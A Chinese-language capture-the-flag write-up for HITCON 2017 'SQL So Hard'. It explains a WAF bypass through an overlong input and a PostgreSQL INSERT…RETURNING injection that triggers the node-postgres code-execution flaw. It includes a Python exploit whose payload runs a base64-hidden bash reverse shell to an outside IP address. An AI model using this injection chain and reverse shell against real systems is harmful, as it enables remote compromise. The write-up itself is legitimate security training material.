[HITCON 2017]SQL So Hard
解题步骤
wp有详细解析:https://github.com/t3hp0rP/hitconDockerfile/tree/master/hitcon-ctf-2017/sql-so-hard
代码审计一波。发现用到了两个数据库。一个是mysql,用于ban ip的(挺牛),当你输入了waf的字符,直接拉黑。一个是pgsql,用来注册用户。mysql语句用了预处理,估计得从pgsql入手:
var sql = `INSERT INTO users(username, password) VALUES('${username}', '${password}') ON CONFLICT (username) DO NOTHING`;
return client.query(sql.split(";")[0], (err, rows) => {
if (rows && rows.rowCount == 1) {
return res.end("Reg OK");
} else {
return res.end("User taken");
}
想对pgsql操作,要了解pgsql的cve。p神详细解读:https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html
但是本题稍有改动。首先加了waf,不能被拉黑!然后还以分号分割sql语句在执行。不能用分号进行多语句执行。如何绕过waf?
根据上面的官方文档,直接输入一个贼长的语句,导致mysql报错,就不进入mysql的语句执行了。这样waf就没有了。然后再想办法注入pgsql。由于用的insert,而且不能使用分号,看一波官方文档。
可以进行多字段返回
使用格式 insert into xx(aa,bb) values('cc','dd') returning ee as ff;
然后根据p神的文章构造payload。修改了一下wp的脚本以适应buu的环境:
from random import randint
import requests
# payload = "union"
payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`echo YmFzaCAtaSA+JiAvZGV2L3RjcC80`)/*",(3)as"\\'*/-(b+=`Ny45Ni4xNzMuMTE2LzIzMzMgMD4mMQ==|base64 -d|bash`)/*",(4)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' '*102*102*16)
username = str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))
data = {
'username': username+payload,
'password': 'AAAAAA'
}
print('ok')
r = requests.post('http://5d58e4f0-3471-41a4-b4ca-2242b12293f8.node4.buuoj.cn:81/reg', data=data);
print(r.text)
buu如果上传太大的payload直接把容器整没了,于是修改了一下大小发现可行,直接反弹shell即可得到flag